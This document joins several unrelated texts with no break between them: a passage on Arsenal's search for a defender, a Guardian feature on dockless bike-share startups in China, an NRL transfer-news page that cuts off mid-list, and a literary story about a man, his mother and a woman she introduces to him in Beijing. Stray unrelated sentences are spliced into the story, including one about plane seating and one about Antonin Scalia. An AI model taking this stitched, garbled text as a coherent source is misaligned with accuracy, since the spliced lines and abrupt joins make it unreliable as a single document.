“I am not the only one working on the case,” Wenger said. “It’s not a supermarket where you go in and buy a defender, it’s a market that is very restricted, that players who can strengthen the best 10 teams in Europe, you don’t find many and it’s the same for everybody. We are a big attraction, of course we are, but if it was easy we would do it.”
Asked whether his squad – depleted through injury, with Mathieu Debuchy out for up to three months with a dislocated shoulder – could cope without a new signing, Wenger said: “We can, because we have Chambers, Mertesacker, Koscielny. But we have now lost Debuchy, who could play centre-back, Monreal, who can play centre-back, Gibbs as well has been out, of course if we have another injury or two we will struggle. It’s risky. It’s too risky. Of course we have made enquiries and then you have a second handicap of who wants to sell their best players, especially a central defender, in the middle of the season.
Arsenal are considering a move for Celtic’s Virgil van Dijk, who would cost around £8 million, and have been strongly linked with Winston Reid, who is out of contract in the summer, although his present club West Ham United have yet to receive an enquiry.
There has also been doubt cast on the future of goalkeeper Wojciech Szczesny after he was dropped – following a calamitous display and then being fined for smoking against Southampton – although the Pole still believes he will return as first-choice in place of David Ospina.
Wenger said that he needed to give Szczesny “a little breather”. “It helps you to refocus and get yourself together,” he said. “Just before Southampton he had a very good game at West Ham and was man of the match. I think he is a great goalkeeper and will have a great career but he goes a little bit. I took Jens Lehmann out [of the team] like that.”
Did you know Telegraph Sport has an Arsenal Facebook page?New cycle-share firms in China allow you to simply drop your bike wherever you want. They have caused colourful chaos – and world cities could be next
On a 30ft-wide screen in Hangzhou’s public bike share office, the counter ticks up relentlessly: 278,812 … 278,847 … 278,883 … Another 40 cycle rentals every couple of seconds. The system will easily top 350,000 before this bitterly cold winter day is out.
On the left of the giant screen, the world’s 15 biggest public bike shares are ranked. Thirteen of them are in China. (Paris is No 5 with 21,000 bikes, and London No 12, with 16,500). Hangzhou – an hour west of Shanghai by bullet train – is slightly larger than London by population, but its share system is five times the size. It comfortably tops the table with 84,100 cycles, almost twice as many as its nearest rival.
In many other large Chinese cities, though, it’s not the sturdy, official public hire bikes that stand out. It’s the rash of brightly coloured “dockless” share bikes, haphazardly parked on the pavements in their thousands.
Many of these bikes are not working because nobody takes care of them – the city’s beauty has been destroyed Eric Mao
Dubbed “Uber for bikes”, they are the product of a whole host of new startups, aggressively competing for territory and investment.
The way it works is simple enough in theory. Users download an app that tells them where to find a cycle, which they unlock by scanning a QR code on their phones or using a combination they are sent. Unlike traditional rental services, however, which require bikes to be returned to a fixed docking station, riders are free to leave the bikes wherever their journey ends.
Facebook Twitter Pinterest Hangzhou public bike share’s live screen shows rentals and returns
The scale is simply stunning. In less than a year, Mobike alone has flooded the streets of 18 Chinese cities with what is thought to be more than a million new bikes. Since last April, the company has placed more than 100,000 of their trademark orange-and-silver bikes in each of the cities of Shanghai, Beijing, Shenzhen and Guangzhou.
In just the three months of 2017, Mobike – co-founded by Hu Weiwei and Davis Wang, former head of Uber Shanghai – has launched in six more cities; Changsha, Hefei and Tianjin were added this past month. Already backed by the Chinese internet giant Tencent, a recent deal with Apple supplier Foxconn has doubled Mobike’s production capacity to 10m bikes a year.
Then there’s Ofo – which started in 2015 as a Peking University project and now claims 10 million users in 33 cities for its bright yellow bikes – and Bluegogo, Xiaoming and around a dozen more copycat firms, many of which have started up in the past six months.
Facebook Twitter Pinterest Dockless app-based schemes have made cycling cool again in China. Photograph: Johannes Eisele/AFP/Getty Images
Seven hundred miles to the south-west, on the streets of the fast-growing Pearl River manufacturing hub of Guangzhou, the colourful dockless share bikes are everywhere. They are parked up by the hundred outside shopping malls and metro stations, often blocking the pavement; others, rendered useless by missing saddles, broken locks or scratched off QR codes, are simply dumped in flowerbeds and bushes.
But after decades of decline – when a whole generation of Chinese, embracing economic freedom, worshipped the private car and saw cycling as backward – these sharing apps have clearly made cycling cool again in China. Most users appear to be in their 20s and 30s, many riding one-handed, smartphones glued to their ears. This popularity is new: the share of trips taken by bike in Guangzhou had dropped from above 20% in the late 1990s to around 5% a few years ago; Beijing’s cycle modal share had collapsed from a high of above 60% in the mid-1980s. No official estimates yet take account of the impact of these new share bikes, but there’s no escaping them on the streets of China’s big cities.
What’s more, they’re about to be exported worldwide. Mobike is launching in Singapore this year, while rival Bluegogo controversially started operations in San Francisco without official permission, Uber-style. (The city planning department issued warnings and could prosecute.) Ofo has a container of 500 bikes on its way to Cambridge, and there are rumours Mobike is targeting London, Birmingham and Manchester.
Facebook Twitter Pinterest People ride public bike share cycles around Hangzhou’s scenic West Lake. Photograph: Alamy
What happened to heaven on Earth?
“In heaven, paradise; on Earth, Suzhou and Hangzhou,” goes an old Chinese saying. Hangzhou’s beautiful West Lake draws millions of tourists a year, who visit the nearby plantations growing Longjing green tea and soak up the peaceful provincial atmosphere.
That scenic reputation took a knock when the documentary Under the Dome revealed the city suffered more than 200 “smoggy days” in 2013. Hangzhou’s annual average concentration of deadly fine air pollution particulates, PM2.5s, was recorded at 66.1µg/m³ that year – more than six times World Health Organization guidelines. The city consistently places in the top 10 most congested in China, and in 2013 TomTom ranked it as the worst nationally and sixth worst in world. Most of the city’s PM2.5 pollution comes from vehicle emissions, a reflection of increasing incomes and surging private car ownership.
Facebook Twitter Pinterest The public bike share in Hangzhou. Photograph: VCG via Getty Images
Municipal authorities responded by expanding the metro system – which recently gained approval to build seven new lines – and investing in 3,000 electric buses and taxis.
But public bike share, funded by the city, is seen as playing a crucial part, too. Zhang Li Qiang, the chief executive of Green Smart Traffic (GST), started China’s first public bike share in Hangzhou in 2009, inspired by Paris’s Vélib’ scheme. He claims his programme cuts fuel consumption by 100,000 tonnes a year (equivalent to around 135m litres of petrol and diesel).
“Hangzhou’s population is increasing by 200,000 a year and the roads are blocked,” he says. “But the historic centre means you can’t just knock down and rebuild, as happens in other parts of China. The public bike share cuts the burden of traffic and promotes an environmentally friendly approach among the people of the city. It’s a very effective way to solve the problem.”
Even in Hangzhou, though – with 3,000 docking stations spaced every few hundred metres – some new dockless share bikes are popping up, mostly provided by the smaller copycat firms. It seems people are prepared to pay the typical one yuan (around 10p) per hour fee for the convenience of being able to drop bikes where they want.
Facebook Twitter Pinterest Young people ride share bikes in Guangzhou. Photograph: Nick Van Mead
Hot money
Not everyone is convinced dockless bike sharing is a good idea. Eric Mao, marketing manager at GST, believes the startups are too busy chasing territory and investment to focus on providing a good service: “It’s a big problem. You see thousands of bikes parked everywhere around the city and many are not working because nobody takes care of them – the city’s beauty has been destroyed.”
Tensions spilled over in Shenzhen earlier this year, when huge piles of share bikes began appearing in alleyways and vacant lots, dumped in their hundreds by persons unclear. Fingers were pointed at disgruntled motorbike taxi drivers, private security guards and even rival share bike companies. In Shanghai, by contrast, I witnessed a more ordered operation. There, users are encouraged to park dockless share bikes in marked bays, freshly painted on the ground: a simple rectangle of white lines and a bike icon.
The dockless companies seem to be taking the issue seriously. “We are working with local governments in every city we enter to deal with issues such as users parking in the wrong place,” says Mobike’s head of communications, Xue Huang, who points out that – unlike with public bike share – cities don’t pay them a single yuan. “In the Huangpu area of central Shanghai the government has hired maintenance workers at metro stations to call on people to behave properly and keep order. It is a user education process.”
That re-education in part relies on a new system of credits to reward good behaviour and punish bad. Mobike users start with 100 credits and can earn more by “informing” – by photographing and reporting badly parked bikes around the city. “Once verified by our staff on the ground, the spotter gets extra credit, while the perpetrator gets docked 20 points,” explains Huang. “If a user has fewer than 80 points, the costs of rental are set prohibitively high.”
Facebook Twitter Pinterest Share bikes dumped in huge piles near the entrance of Xiashan park in Shenzhen. Photograph: Imaginechina/Rex/Shutterstock
If they can solve the parking problem, sustainable transport consultant Bram van Ooijen, who founded the Cycle Canton tours of Guangzhou, believes the dockless share bike startups are great for the cause of cycling and for China.
“Dockless bike shares have found a niche where they don’t have powerful enemies,” he says. “Ride apps like Uber and Didi Chuxing upset taxi drivers, who are a powerful lobby group that can hold protests and bring the city to gridlock. The only people who seem to be upset by the new share bikes, however, are illegal motorbike taxi drivers – who are missing out on business from metro stations late at night – and security guards, who don’t like mess on the pavement outside their buildings. There is friction, but the groups that are upset aren’t powerful enough. So the government doesn’t care.”
Meanwhile, urban planner Zhu Jinglu at the Institute for Transportation and Development Policy – which set up Guangzhou’s public bike share and runs its Bus Rapid Transit system – would be delighted if the anecdotal increase in cyclists led to better cycle infrastructure. Development consultant Li Shuling agrees, but is sceptical she will see changes any time soon. “Every development in the city has slogans about sustainability and green transport,” she says. “When thinking about a new road they will make some space for a cycle lane in the design, but it’s just a line on the page. When it is implemented you find the detail is poor. They just want to tick the box.”
New tactics
Back in Hangzhou, public bike share company GST is not giving up on its classic docking stations just yet. CEO Zhang admits he is concerned by the popularity of dockless bikes, but points out drawbacks.
Return of the Bicycle Kingdom? How pavement cycling is transforming Taipei Read more
“They have solved the problem of empty docking stations, but for them the big issue is the accuracy of GPS. Sometimes users search for a bike and it is not where their smartphone says it is – maybe it’s broken or behind a locked gate in a residential compound. That is not a good service. They don’t have maintenance teams like we do, they operate unofficially without government support, they are just chasing capital... it is an unsustainable model.”
Zhang, though, realises that with the backing of investors including Foxconn, Tencent and Didi, rivals such as Mobike and Ofo are not about to disappear. “They have problems to solve but they will find a way,” he concludes. “They are smart and they’ve got money.”
Then he shows me a video featuring a prototype of a dockless public share bike developed by GST. It uses a QR code, smart lock and GPS technology just like the startups. The new bikes will be trialled in Hangzhou; Zhang hopes they could play a part in GST’s first foray overseas, planned for this year. Discussions are under way with cities in Malaysia, Panama and Italy.
“We’re going to try new tactics,” he adds. “Both systems have virtues and drawbacks so we will integrate the two – docks and dockless – to get the best of both worlds.”
One way or another, it seems certain that in the near future dockless share bikes won’t just be flooding China.
Guardian Cities is dedicating a week to the huge but often unreported cities on the front line of China’s unprecedented urbanisation. Explore our coverage here and follow us on Facebook. Share stories via WeChat (GuardianCities) and by using #OtherChina on Twitter and InstagramWELCOME to Market Watch, where you can find the latest news on player movements at your club.
From transfers, new deals, rumours and retirements, get all the latest news here:
KEEP LEARNING OFF GI, URGES TUQIRI
Former South Sydney winger Lote Tuqiri has urged Alex Johnston to learn from the dual international’s mistakes and not let money be the main factor in deciding which club to sign with for 2016.
Tuqiri won a premiership alongside Johnston last year and believes the speedster could play at least another 10 seasons in the top grade if he takes care of his body.
The now retired former dual-international said Johnston, who debut in round eight last year, should stay put for at least one season and chase top dollar after having another year of NRL under his belt.
media_camera Alex Johnston scores a try in the 2014 NRL Grand Final.
“I left quite early (in my career) to chase a World Cup in rugby and to be honest, I chased a bit of money too and AJ is probably weighing up that problem,” Tuqiri told foxsports.com.au.
“There is a lot of money in the game now. I didn’t really want to leave but there was no option for me at the time but AJ has options.
“From my experience, I’d advise him to at least hang on another year.”
Johnston has been linked to a host of clubs for next season including Parramatta and the Sydney Roosters.
His manager Steve Gillis told foxsports.com.au he is set to meet with the 20-year-old on Wednesday to discuss his options.
“I am meeting him this afternoon and will know more then,” Gillis said.
“No decision of any kind has been made yet.”
media_camera Alex Johnston scores for Souths during the NRL Grand Final.
While Johnston is eager to play fullback, Tuqiri said he should bide his time learning under one of the game’s best in Greg Inglis before leaving Redfern to join another club for big money.
“I’d love to see him spend more time under Greg but that’s me being a biased former Souths player,” Tuqiri said.
“Another year of playing wing and he’ll probably be ready to play fullback.
“It’s a tough one because he’ll be offered big money to go somewhere else.
“Do you follow the money or stay in a good set up and reap the rewards later on?”
“If I’m in AJ’s shoes I sign another year with Souths and see how I feel after that.
“He has the time to do it. He is so young. At this stage in his career, there is no rush.”
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GORDON NOT OFF TO SUPER LEAGUE
Cronulla star Michael Gordon has been linked with a move to the Super League in recent weeks but his manager Andrew Purcell says there is no truth to the rumours.
Languishing on the wing after being unseated at fullback in favour of young star Valentine Holmes, the former NSW Origin winger was said to be headed to Hull KR, however there has been no discussion of a move overseas this year.
“We were in talks with them last year but they took Ken Sio,” Purcell told foxsports.com.au.
The former Panther joined the Sharks in 2013 after seven years at the foot of the mountain.
The 31-year-old scored the opening try in Cronulla’s 18-10 win over South Sydney on Monday night.
It is understood Gordon is hopeful of securing a new two-year deal with the Sharks but he may have to join another club next season with Ben Barba and Valentine Holmes under contract for 2016.
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MALONEY SNUBS WARRIORS
media_camera James Maloney in action during his time playing for the Warriors.
Roosters playmaker James Maloney has reportedly rejected an offer to rejoin the Warriors next season.
It appears the former NSW Origin five-eighth will pen a new deal to stay with the tricolours with coach Trent Robinson publicly declaring he wants to keep the 28-year-old.
The Warriors advances came following the news Chad Townsend is likely to return to Australia next season for personal reasons.
According to Stuff.co.nz, the Warriors will hand Tuimoala Lolohea the No.6 jersey next season.
Lolohea has been playing fullback with Sam Tomkins injured but has played the bulk of his career in the halves.
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TITANS INTERESTED IN YOUNG BRONCOS
media_camera Kodi and Jayden Nikorima at Broncos training.
According to The Courier Mail, the Gold Coast are zeroing in on a number of Brisbane young guns as they look to bolster their roster for next season.
It has been widely reported that the Titans are interested in young prop Joe Ofahengaue, who made his NRL debut earlier this year, but they also have their eye on 18-year-old giant George Fai.
Neil Henry is also believed to be interested in Holden Cup playmaker Ashley Taylor.
Meanwhile, Brisbane are intent on re-signing young stars Kodi and Jayden Nikorima to new deals.
Kodi, 21, has been firing off the bench as an impact hooker, while Jayden, 18, is a star for the Broncos under-20s side.
“We would be disappointed if we couldn’t retain those young players, having made an investment in them,” Brisbane chief executive Paul White said.
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SCRAP ROUND 13 RULE: CRONK
Superstar halfback Cooper Cronk believes the NRL should scrap their ‘round 13’ rule which allows players to backflip on deals.
Speaking on Triple M radio on Sunday, the Melbourne playmaker said players need to stick to their word when signing a deal but was careful not to place the entire blame for the recent contract fiascos on solely the players.
“If you have given your word to a club, you follow through with it,” Cronk said.
“Your reputation is probably worth more to me than any sort of extra money that can come in afterwards.
“But let’s not all throw the player under the bus here. Let’s say that the system is to blame as well.
“What kind of system would you have in place that allows a player to make a decision and then give a cooling-off period of time so things can change.”
Most recently Daly Cherry-Evans has been linked with a backflip from his Gold Coast deal but Cronk says when a player makes a decision, their word is their bond.
“I think it’s plain and simple. You sign a contract... you register it and that’s the decision made and you stick by it,” he said.
“I think before you make a decision, you get every little bit of information possible before sitting down and making a decision with your family and friends.”
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RABBITS ADD HALVES COVER
media_camera Darren Nicholls playing for Norths.
Last week South Sydney signed Norths Devils halfback Darren Nicholls to provide cover for Adam Reynolds and Luke Keary.
Nicholls left the Rabbitohs last year to link with Brisbane but after failing to crack the top squad, the 25-year-old former Australian Schoolboy returns to Redfern.
“Halfback Darren Nicholls has joined the Rabbitohs full time squad this week as a mid-season signing for the remainder of 2015 as well as the 2016 season,” the club said in a statement.
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LATEST RUMOURS
Struggling Titans winger Kevin Gordon has been linked with North Queensland in a possible midyear move.
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If you have heard a rumour you want to share with us, tweet us: @FoxNRL, @Nath—Ryan or email Nathan.Ryan@news.com.au
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OFF CONTRACT LIST FOR 2015
BRONCOS
media_camera Brisbane's Alex Glenn leaves the field injured.
Marmin Barba, Mitchell Dodds, Alex Glenn, Jon Green, Jordan Kahu, Todd Lowrie, Francis Molo, Jayden Nikorima, Kodi Nikorima, Joe Ofahengaue, David Stagg, Zach Strasser, Sam Thaiday, Daniel Vidot
New deal: Josh McGuire (2 years), Andrew McCullough (2 years)
RAIDERS
Jack Ahearn, Glen Buttriss, Mitchell Cornish, Mitchell Cronin, Jeremy Hawkins, Mark Nicholls, Kyle O’Donnell, Luke Page, Jordan Rapana, David Shillington, Bill Tupou
New deal: Jarrad Kennedy (2 years), Elliot Whitehead (joining from Catalans Dragons in 2016 — 2 year deal)
BULLDOGS
Damien Cook, Trent Hodkinson, Jacob Loko, Pat O’Hanlon, Sam Perrett, Tyrone Phillips, Chase Stanley, Corey Thompson
New deal: Sam Kasiano (3 years)
SHARKS
Tinirau Arona, Blake Ayshford, Paul Gallen, Nathan Gardner, Michael Gordon, Chris Heighington, Saulala Houma, Ricky Leutele, Pat Politoni, Matt Prior, Jeff Robson, Junior Roqica, Sami Sauiluma, Kyle Stanley, Sam Tagataese, Anthony Tupou
TITANS
Caleb Binge, Davin Crampton, Jamie Dowling, Kane Elgey, Kalifa Faifai Loa, Beau Falloon, Jamal Fogarty, Christian Hazard, Mark Ioane, Nate Myles, Eddy Pettybourne, Ben Ridge, James Roberts, Brad Tighe
Leaving: Aidan Sezer (Raiders — 3 year deal)
SEA EAGLES
media_camera Willie Mason gets tackled.
Tyson Andrews, Cheyse Blair, Michael Chee-Kam, Clinton Gutherson, James Hasson, Justin Horo, Jack Littlejohn, Dunamis Lui, Willie Mason, Siosaia Vave, David Williams
New deal: Steve Matai (2 years), Matt Ballin (2 years)
Leaving: Daly Chery-Evans (Titans — 4 years), Kieran Foran (Eels — 4 years)
STORM
Nelson Asofa-Solomon, Dean Britt, Matt Duffie, Mahe Fonua, Hymel Hunt, Felise Kaufusi, Tom Learoyd-Lahrs, Kurt Mann, Shaun Nona, Travis Robinson, Billy Slater, Dayne Weston
New deal: Jordan McLean (signed until end of 2017)
WARRIORS
Raymond Faitala-Mariner, Glen Fisiiahi, Nathan Friend, Ben Henry, Sebastine Ikahihifo, Ngani Laumape, Mason Lino, Suaia Matagi, Api Pewhairangi, Dominique Peyroux, Chad Townsend, Manu Vatuvei, Albert Vete, Jonathan Wright
New deal: Ben Matulino (2 years), Konrad Hurrell (3 years)
Leaving: Sam Tomkins (Super League — Wigan), Sam Rapira (Super League — TBC).
KNIGHTS
James Elias, David Fa’alogo, Jaelen Feeney, Marvin Filipo, Lachlan Fitzgibbon, Kurt Gidley, Jake Mamo, Clint Newton, Chad Redman, Korbin Sims, Jeremy Smith, Kade Snowden
New deal: Tyler Randall (2 years), Chanel Mata’utia, Pat Mata’utia, Sione Mata’utia (3 years), Dane Gagai (2 years)
Leaving: Beau Scott (Eels — 3 years)
COWBOYS
media_camera Robert Lui in action for the Cowboys.
John Asiata, Scott Bolton, Glenn Hall, Ben Hannant, Cameron King, Ethan Lowe, Robert Lui, Hezron Murgha, Zac Santo, Ben Spina, Ray Thompson
New deal: Jason Taumalolo (2 years — end of 2017), Michael Morgan (3 years).
EELS
Daniel Alvaro, Beau Champion, Will Hopoate, Luke Kelly, Darcy Lussick, Ryan Morgan, Pauli Pauli, Kaysa Pritchard, Reece Robinson, Chris Sandow, Peni Terepo, Joseph Ualesi, Adam Quinlan
New deal: John Folau (2 years), Brad Takairangi (2 years), Bureta Faraimo (1 year), Danny Wicks (1 year).
PANTHERS
Sam Anderson, Lewis Brown, Adam Docker, Isaac John, Jeremy Latimore, Sika Manu, Ben Murdoch-Masila, David Simmons, Will Smith, Shaun Spence
New deal: Dallin Watene-Zelezniak (1 year), Tyrone Peachy (until end of 2017), Waqa Blake (until end of 2017).
Retiring: Brent Kite and Nigel Plum are set to retire, while David Simmons is also considering hanging up the boots at the end of the year.
RABBITOHS
Kirisome Auva’a, Bryson Goodwin, Aaron Gray, Chris Grevsmuhl, Alex Johnston, Ben Lowe, Sione Masima, Cameron McInnes, Daryl Millard, Joel Reddy, Kyle Turner
New deal: Adam Reynolds (2 years), Luke Keary (1 year), David Tyrrell (2 years) and Thomas Burgess (1 year), Darren Nicholls (2 years)
DRAGONS
media_camera Ben Creagh watches on.
Leeson Ah Mau, Mike Cooper, Ben Creagh, Shannon Crook, Craig Garvey, Yaw Kiti Glymin, Nathan Green, Beau Henry, Kris Keating, Heath L’Estrange, Jake Marketo, Peter Mata’utia, Will Matthews, Eto Nabuli, Jason Nightingale, George Rose, Shannon Wakeman, Justin Hunt
Leaving: Trent Merrin (Penrith — 3 years)
ROOSTERS
Blake Ferguson, Shaun Kenny-Dowall, Samisoni Langi, James Maloney, Matt McIlwrick, Lagi |
piano was the only thing that kept his mother actively engaged with the world. Soon after Hanfeng’s return, she had asked him to go to a recital she was playing in, at a local music school. It was attended by men and women Hanfeng’s age, who seemed nervous when their well-trained and nicely dressed children took the stage. His mother was the only one who went up without a puppet-like show. She gazed at the sheets of music for a long moment, then started to pound on the keys with a seriousness that took Hanfeng by surprise. He had thought the piano was merely a retirement pastime for his mother, and had protested mildly when she mentioned that her goal was to be good enough one day to play four-hand with him. Hanfeng had not told her that he was no longer playing, even though a rented piano had always been the first piece of furniture to fill an empty apartment in each city he had moved to. Small children giggled in the audience, and a few older ones smirked, pitying the old woman for her stiff arthritic fingers that would never be as good and agile as theirs. Some parents shook their heads at their children disapprovingly, and it occurred to Hanfeng that he was becoming a parent for his mother, that he would be the one to protect her from the hostility of the world. “Remember when it didn’t cost extra to sit inside the plane?” The thought left him baffled. His mother had always been a headstrong woman, and, with her grayish-white mane and unsmiling face, she appeared as regal and intimidating as she had ever been. Still, seeing her through other people’s eyes, Hanfeng realized that all that made her who she was—the decades of solitude in her widowhood, her coldness to the prying eyes of people who tried to mask their nosiness with friendliness, and her faith in the notion of living one’s own life without having to go out of one’s way for other people—could be deemed pointless and laughable. Perhaps the same could be said of any living creature: a caterpillar chewing on a leaf, unaware of the beak of an approaching bird; an egret mesmerized by its reflection in a pond, as if it were the master of the universe; or Hanfeng’s own folly of repeating the same pattern of hope and heartbreak, hoping despite heartbreak. Siyu asked a few more questions, and Hanfeng replied. When there was nothing much left to say, he curled his fingers around the teacup and studied its shape, and Siyu pictured him as a young boy, spreading his slender fingers on the cold keys of a piano. His mother must have told him, when he complained about the open windows in the winter, that playing would keep the blood circulating in his hands. Siyu did not know why she imagined that; it was as unfounded as all the other things she had made up about him. In Professor Dai’s flat, there were framed snapshots of Hanfeng, playing in piano contests at five, eight, ten, fifteen. There were snapshots of him when he had first arrived in America, with his bright-colored T-shirt, long and flying hair, and broad smile, as picturesque and unreal as the Statue of Liberty in the background. Siyu had been eighteen when she first saw those photographs, when she was sent as a representative from her class to deliver a New Year’s present to Professor Dai. No one had wanted that job; Professor Dai’s coldness was known to be hurtful, and it had made sense that Siyu, with her mild eccentricity, would be the one chosen. But that day, to Siyu’s surprise, Professor Dai had not simply dismissed her from the doorway, even though she had immediately placed the present, a framed painting of a golden carp, next to the wastebasket. Professor Dai had invited Siyu into the flat, moved the papers that covered the dining table onto the piano bench, and let Siyu sit while she went to the kitchen to make tea. Her son was the one who played the piano, Professor Dai answered when Siyu asked, and pointed out the pictures of Hanfeng. Very vaguely, Siyu had thought that he was the kind of boy she would like to have as a boyfriend, a prize badge that she could wear to make other girls jealous. Years later, she knew it was not the thought of the boy that had made her wait on the bench outside the biology building in the mornings during college; nor was he the reason she continued to befriend Professor Dai in a manner allowed by the older woman. Occasionally, Siyu would carefully study the pictures of Hanfeng in Professor Dai’s flat, and when they ran out of things to say about animals she would ask about his life in America. When Professor Dai called and asked her to meet Hanfeng, Siyu wondered if the matchmaking had come as a result of a beguiling impression she had left of her interest in a good-looking bachelor. The waitress came to offer a fresh pot of tea. Hanfeng turned to Siyu and asked her if she was ready to leave. They had spent almost an hour talking, and he had fulfilled his mother’s wish without humiliating the woman with his lack of interest. Siyu looked out the window at the willow trees, their branches waving like unruly hair in the wind. Not a great day for a walk, Hanfeng said. Siyu agreed, then asked him if he needed a ride. “I’ll take a cab home,” he said. “I’m driving past your mother’s place, in any case,” Siyu said. Her own flat, a small studio that she rented from a retired couple, was only minutes from Professor Dai’s flat, but Siyu thought she would appear too eager if she mentioned that. Hanfeng wished that he had made up an excuse—a lunch with a friend in another district; an exhibition or a film to see—but it was too late to correct himself now.
A week later, Hanfeng’s mother asked him if he planned to see Siyu again. They had finished their breakfast, and were reading that morning’s newspapers, plates and bowls scattered on the table between them. Hanfeng’s mother did not raise her eyes from the page as she asked, but he knew the question was not as haphazard as it seemed. Should he? he replied. “Do you dislike her?” It took more than an hour over tea for him to say that he disliked a woman, Hanfeng thought, but he just shook his head slightly. He was not surprised by his mother’s question. Do you dislike piano? she had asked, when he wanted to give up the instrument at twelve for games that he could play with boys his age; Do you dislike engineering?, when he thought of pursuing a literature degree in college rather than the one she had chosen for him. Before he left China, she told him that she might not have been a good mother in the worldly sense, but she considered herself successful in giving him two things: practical skills with which to earn a living, and music as the only trustworthy companion and consolation for his soul. Twenty-three, and in love with a childhood friend who was dating a chirpy girl, Hanfeng did not believe that either of his mother’s gifts would in any way contribute to his happiness. America, at first glance, seemed a happy enough place, and when his friend called with the news of his engagement Hanfeng sought out companions. All he wanted was to have some fun, he replied when more was asked of him; “Have fun”—wasn’t that the phrase that replaced words of farewell in many Americans’ lexicon? But eventually the reply came back to taunt him: I thought we would have some fun and that’s all, his last lover had said, a Chinese boy, a new immigrant, as Hanfeng had once been, whom Hanfeng had helped support through college. He should ask Siyu out to a movie, his mother suggested, or a concert. When he showed a lukewarm reaction, she said, “Or ask her to have dinner with us here.” “Wouldn’t that be too quick?” Hanfeng said. Even though Siyu had been introduced to him by his mother, a dinner invitation, after meeting only once, seemed to imply an approval of sorts from both his mother and himself. “She is not a stranger,” his mother replied, and proceeded to check the calendar on the kitchen wall. Saturday was a good day, she said, and when Hanfeng questioned Siyu’s availability at such short notice his concerns were dismissed. “She’ll rearrange her schedule if she has to,” his mother said, and wrote down the date and Siyu’s number on a piece of scrap paper. Hanfeng wondered if Siyu had felt similar pressure from his mother. What would she have said to Siyu—I would like you to date my son? Knowing his mother, he wondered if she had simply mentioned that her son needed a wife and that she thought Siyu would be the right person for the role. “Why has she never married?” he asked. “I imagine for the obvious reason of not having felt the need to get married.” “Does she want to get married now?” Hanfeng said. He had expected his mother to reply that Siyu had not met the right person—and then he could have questioned why his mother thought him a good choice for her. “She didn’t say no to the date last time, no?” When Hanfeng called Siyu to invite her to dinner, the line was quiet for a moment. He waited for her to find an excuse to turn down the invitation, or, better still, to tell him that she had obliged his mother with their last meeting and the sensible thing to do now was to make their mutual disinterest known to his mother. Instead, Siyu asked him if they could possibly meet once more before the dinner. Anytime after she got off from work would do, she said. He wondered why she needed to see him when all could be settled on the phone, but he agreed to a late-afternoon meeting that day. There was a power outage at the coffee shop where Siyu had suggested they meet. Apart from the light of a few candles on the counter, the inside of the shop, a long, narrow rectangle, was almost pitch-black. Siyu, who had arrived a few minutes earlier and taken a seat by the only window, explained to Hanfeng that the place was always quiet, and more so today, as the coffeemakers were not hissing. A sulky young girl placed a pot of tea and two cups heavily on the table. Siyu apologized for the shop’s unfriendliness after the girl had returned to the counter. “I’m about their only regular customer, but for three years no one has acknowledged me,” she said. “Why do you still come here?” “It’s quiet. I can assure you it’s not easy to find a quiet place like this in Beijing,” Siyu said. “My theory is that the proprietress is a rich man’s mistress. She does not want the shop to make money for him, and he cannot close it, because it was his present to her.” Hanfeng looked around, but there was no one there besides the girl at the counter. “They seem to hire unhappy people,” he said. “The proprietress is a beautiful woman,” Siyu said. Hanfeng nodded. He had no further questions, and she could see that he was one of those people who would not return to the place. She wished she could tell him that, apart from the beauty of the woman who once in a while showed up at the coffee shop with an air of authority, there was little evidence to support her guess. Yet there had to be an explanation for the sad, lifeless appearance of the shop. She thought of telling him this, but he was part of the world that did not seek her explanations. The world had made up its mind about her oddity in her spinsterhood. They sat in silence for a moment. In another place, a more romantic setting, lovers’ murmurs would have been well masked by soft jazz coming from hidden speakers, their faces illuminated by candlelight, but here there was no music and the candles were lit out of necessity. The idea of getting to know Hanfeng better before having dinner with him and his mother seemed, like all the other ideas that had occurred to Siyu, a regrettable mistake. When he did not help find a harmless topic of discussion, she asked him if he was aware of his mother’s wish to see him get married. “I suppose all mothers worry about their children’s marriage status,” Hanfeng said vaguely. He had thought that his mother had long ago accepted who he was; when he had visited from America in the past, she had never pressed for any details of his American life, sparing him the pain of explaining himself. “Doesn’t your mother?” She had no right to feel let down, Siyu thought. Nevertheless, it disappointed her that Professor Dai had not told him much about her. That she had been raised by her father had been, from a young age, the first thing people said of her. “I never met my mother,” she said. “My father brought me up by himself.” “What would Antonin Scalia pack?” Hanfeng looked up at her. Before he could form an apology, she said there was no need for one. She had grown up not knowing her loss, so there had not been any real loss. She wondered if that was how Hanfeng thought of his father. Professor Dai had never mentioned her late husband, but Siyu had once had a summer job in the department office, and had heard other professors and the secretaries talk about how he had died in a snowstorm when his bicycle skidded in front of a bus. An accident that no one could be blamed for, but Siyu had sensed the others’ disapproval of Professor Dai, as if she were partially responsible for the unfair fate befalling a man; the dead husband, by contrast, was always praised as the gentlest person. “What was it like to grow up with only a father?” Hanfeng asked. He had little recollection of his father, but there were photographs, taken when Hanfeng had turned a hundred days, six months, one year, and then two years old. In all four pictures, he was flanked by his parents, who looked serious and attentive. They would have been called gold boy and emerald girl at their wedding, enviable for their matching good looks. It must have been his father’s idea to have a family picture taken at every milestone of his life, since after his father’s death Hanfeng had never been in the same photograph as his mother. She imagined it was not very different from growing up with a mother, Siyu replied. There was no other parent to whom they could compare the one they had, and love did not have to be balanced and divided between two people; the claiming of loyalty was unnecessary. Siyu did not say these things, but there was a gentleness in Hanfeng’s eyes where before there had been only aloofness, and she knew that he understood. Hanfeng turned away from Siyu’s gaze and looked out the window. A woman in a heavy mud-colored coat was riding a bicycle and threading through the long line of cars in the street, and a young child, bundled up in a gray shawl, so that its gender could not be determined, sat on a bamboo chair affixed to the back rack of the bicycle, as unfazed as the mother was by the impatient honking of drivers around them. Hanfeng pointed out the child to Siyu, knowing that both of them had travelled the streets of Beijing in that way, he behind his mother, she her father. After the woman and her child had disappeared from sight, Siyu said that, when she started to ride her bicycle to school at twelve, her father would get up every morning and run after her until she reached the school gate. She used to be ashamed of being the only one escorted to school by a running father, but she could never say no to him. “He must be the most loving father in the world,” Hanfeng said. Siyu nodded. A door behind the counter opened and then closed, and for a moment it seemed that the flickering candles would be extinguished. She had had to squeeze the hand brake often on the downhill ride to the school so that her father’s panting would not be so loud that other people took notice, and only when she was much older did she realize that her father had insisted on running beside her so that she would not become one of the wild youngsters who sped and broke an arm or a skull in an accident. She had always been aware of his love for her and for her mother, even though he had not said much, but in the end she had been the one to make up grand reasons for her absence. You’re still my only daughter, he had said to her when she decided not to attend his wedding; you’re part of the family, he had said when she told him that she would not be coming home for the lunar New Year. He did not need her to complicate his life, she had replied, knowing that he would stoically accept her proposal of a monthly lunch as their only way of remaining father and daughter. 